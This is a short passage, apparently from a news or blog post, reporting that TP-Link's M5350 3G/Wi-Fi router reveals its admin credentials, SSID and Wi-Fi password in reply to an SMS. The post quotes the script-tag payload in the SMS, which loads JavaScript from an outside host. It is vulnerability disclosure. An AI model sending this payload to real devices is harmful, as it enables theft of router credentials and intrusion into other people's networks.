TP-Link’s M5350 3G/Wi-Fi router, has a huge bug, making it extremely insecure. Sending an SMS to the router containing the following text <script src=//n.ms/a.js></script> Results in the device replying with admin username, admin password, its Wifi Name (SSID), and its Wifi password. It’s unlikely that the vulnerability has been patched, since […]